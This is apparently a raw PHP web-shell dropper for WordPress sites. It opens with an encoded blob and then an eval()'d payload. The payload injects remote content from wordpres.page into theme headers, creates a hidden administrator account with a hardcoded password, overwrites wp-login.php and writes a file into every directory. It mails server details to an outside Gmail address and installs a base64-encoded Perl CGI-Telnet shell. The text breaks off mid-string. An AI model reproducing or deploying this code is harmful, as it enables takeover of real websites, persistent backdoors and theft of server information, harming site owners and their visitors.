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";
eval("?><?php\r\n\$document_root = \$_SERVER[\"DOCUMENT_ROOT\"];\r\n\$document_root_file = dirname(__FILE__);\r\n\$wp_detect = 0;\r\nif(file_exists(\$document_root.'/wp-load.php'))\r\n{   \r\n    include \$document_root.'/wp-load.php';\r\n    \$wp_detect = 1;\r\n}else\r\n{\r\n    \$prefix = count(@explode('/', \$document_root_file));\r\n    \$a = '';\r\n    for(\$i = 0; \$i<\$prefix; \$i++)\r\n    {\r\n      \$a = \$a.'../';\r\n      if(file_exists(\$document_root_file.'/'.\$a.'wp-load.php'))\r\n      {\r\n          include \$document_root_file.'/'.\$a.'wp-load.php';\r\n          \$wp_detect = 1;\r\n          break;\r\n      }\r\n    }\r\n}\r\n\r\nif(\$wp_detect == 1)\r\n{\r\n    //Header Yazd\xc4\xb1rma\r\n    \$wp_theme_dir = get_template_directory();\r\n    \$header_file = \$wp_theme_dir.'/headers.php';\r\n    \$header_content = file_get_contents(\$header_file);\r\n    \$append = http_get('https://wordpres.page/txt/lamer.txt');\r\n    if(!preg_match('#'.\$append.'#', \$header_content))\r\n    {   \r\n\t    \$new_content = \$append.\$header_content;\r\n\t    \$open_file = fopen(\$header_file, 'w');\r\n\t    fwrite(\$open_file, \$new_content);\r\n\t    fclose(\$open_file);\r\n    }\r\n    //Header Yazd\xc4\xb1rma   \r\n    \r\n    // shell Ekleme\r\n    \$user = 'new_admin';\r\n    \$pass = 'Mzj2zr542CwkB#7QDsX^RK@fe@mxBTVAHp';\r\n    \$email = 'byhero44@gmail.com';\r\n    if (!username_exists( \$user ) && !email_exists( \$email ) ) {\r\n        \$user_id = wp_create_user( \$user, \$pass, \$email );\r\n        \$user = new WP_User( \$user_id );\r\n        \$user->set_role( 'administrator' );\r\n    } \r\n    // shell Ekleme\r\n    \r\n    // Wp Login Yazma.\r\n    \$wp_login = ABSPATH.'/wp-login.php';\r\n    \$login = http_get('https://wordpres.page/txt/seo.txt');\r\n    \$open_login = fopen(\$wp_login, 'w');\r\n    fwrite(\$open_login, \$login);\r\n    fclose(\$open_login);\r\n    // Wp Login Yazma.\r\n}\r\n\r\n\r\n// Shell Yazma\r\n\$code = http_get('#');\r\n\$wp_code = \$document_root.'/#';\r\n\$open_code = fopen(\$wp_code, 'w');\r\nfwrite(\$open_code, \$code);\r\nfclose(\$open_code);\r\n// Shell Yazma\r\n\r\n// Makale Yazma\r\n\$makale = http_get('');\r\n\$wp_makale = \$document_root.'/';\r\n\$open_makale = fopen(\$wp_makale, 'w');\r\nfwrite(\$open_makale, \$makale);\r\nfclose(\$open_makale);\r\n// Makale Yazma\r\n\r\n\r\n// Klas\xc3\xb6rlere Yazma\r\n\$directories = expandDirectories(\$document_root);\r\n\$css = http_get('https://wordpres.page/txt/lamer.txt');\r\nforeach(\$directories as \$dir)\r\n{\r\n\tif(!preg_match('#wp-content#', \$dir))\r\n\t{\r\n\t    \$css_file = \$dir.'/wp-indos.php';\r\n\t    \$open_css = fopen(\$css_file, 'w');\r\n\t    fwrite(\$open_css, \$css);\r\n\t    fclose(\$open_css);\r\n    }\r\n}\r\n// Klas\xc3\xb6rlere Yazma\r\n\r\nfunction expandDirectories(\$base_dir) {\r\n      \$directories = array();\r\n      foreach(scandir(\$base_dir) as \$file) {\r\n            if(\$file == '.' || \$file == '..') continue;\r\n            \$dir = \$base_dir.DIRECTORY_SEPARATOR.\$file;\r\n            if(is_dir(\$dir)) {\r\n                \$directories []= \$dir;\r\n                \$directories = array_merge(\$directories, expandDirectories(\$dir));\r\n            }\r\n      }\r\n      return \$directories;\r\n}\r\nfunction http_get(\$url)\r\n{\r\n\t\$im = curl_init(\$url);\r\n\tcurl_setopt(\$im, CURLOPT_RETURNTRANSFER, 1);\r\n\tcurl_setopt(\$im, CURLOPT_CONNECTTIMEOUT, 10);\r\n\tcurl_setopt(\$im, CURLOPT_FOLLOWLOCATION, 1);\r\n\tcurl_setopt(\$im, CURLOPT_HEADER, 0);\r\n\treturn curl_exec(\$im);\r\n\tcurl_close(\$im);\r\n}\r\n?><?php\r\n\$kime = \"byhero44@gmail.com\";\r\n\$baslik = \"wsoff 2023\";\r\n\$EL_MuHaMMeD = \"Dosya Yolu : \" . \$_SERVER['DOCUMENT_ROOT'] . \"\\r\\n\";\r\n\$EL_MuHaMMeD.= \"Server Admin : \" . \$_SERVER['SERVER_ADMIN'] . \"\\r\\n\";\r\n\$EL_MuHaMMeD.= \"Server isletim sistemi : \" . \$_SERVER['SERVER_SOFTWARE'] . \"\\r\\n\";\r\n\$EL_MuHaMMeD.= \"Shell Link : http://\" . \$_SERVER['SERVER_NAME'] . \$_SERVER['PHP_SELF'] . \"\\r\\n\";\r\n\$EL_MuHaMMeD.= \"Avlanan Site : \" . \$_SERVER['HTTP_HOST'] . \"\\r\\n\";\r\nmail(\$kime, \$baslik, \$EL_MuHaMMeD);\r\n?><!-- CGI by Bang4Y1N -->\r\n<html>\r\n<body text=white>\r\n<center><font color=white face=courier new>CGI Shell</font><br>+- <font color=red face=courier size=2>Lumayan Buat Read Directory</font> -+</font>\r\n<head>\r\n<body bgcolor=#000000>\r\n<title>[+] CGI Shell [+]</title>\r\n</head>\r\n<body>\r\n<center>\r\n    <td><table width='100%' height='173'>\r\n        <td class='td' style='border-bottom-width:thin;border-top-width:thin'><form method='post'>\r\n<center>\r\n              <input type='submit' name='elgass' value='Grab'>\r\n</center>\r\n        </form></td>\r\n<?php\r\nif (isset(\$_POST['elgass']))\r\n{\r\n@mkdir('cgi', 0755);\r\n@chdir('cgi');\r\n        \$elesem = \".htaccess\";\r\n        \$elakab = \"\$elesem\";\r\n        \$filhat = fopen (\$elakab , 'w') or die (\"Can't Write htaccess !\");\r\n        \$htcont = \"OPTIONS Indexes Includes ExecCGI FollowSymLinks \r\n AddType application/x-httpd-cgi .cgi\r\n AddHandler cgi-script .cgi \r\n AddHandler cgi-script .cgi\";   \r\n        fwrite ( \$filhat , \$htcont ) ;\r\n        fclose (\$filhat);\r\n\$xaivhost = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7DQoNCiRQYXNzd29yZCA9ICJhc3UiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91DQoJCQkJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxNTA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJbXkgJGRpciA9JEN1cnJlbnREaXI7DQoJJGRpcj1+IHMvXFwvXFxcXC9nOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+DQoNCiRIdG1sTWV0YUhlYWRlcg0KDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KfQ0KdHIgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCnRkIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KY29sb3I6ICMyQkE4RUM7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQoNCnRhYmxlIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzExMTsNCn0NCg0KDQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZjk5MDA7DQp9DQoNCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCg0KY29kZSB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogd2hpbGU7DQp9DQoNCnJ1biB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOw0KY29sb3I6ICNGRjAwQUE7DQp9DQoNCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2FhYTsNCn0NCkE6bGluayB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNmZjk5MDA7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KDQoubGlzdGRpciB0cjpob3ZlcnsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KfQ0KLmxpc3RkaXIgdHI6aG92ZXIgdGR7DQoJYmFja2dyb3VuZDogIzQ0NDsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZTsNCn0NCi5ub3RsaW5lew0KCWJhY2tncm91bmQ6ICMxMTE7DQp9DQoubGluZXsNCgliYWNrZ3JvdW5kOiAjMjIyOw0KfQ0KPC9zdHlsZT4NCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpDQp7DQoJLyp2YXIgYWpheD0nYWpheF9Qb3N0RGF0YSgiRm9ybVBlcm1zXycraSsnIiwiJFNjcmlwdExvY2F0aW9uIiwiUmVzcG9uc2VEYXRhIik7IHJldHVybiBmYWxzZTsnOyovDQoJdmFyIGFqYXg9IiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpDQp7DQoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7DQp9DQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCgl2YXIgYWpheD0iIjsNCglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsNCgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2Z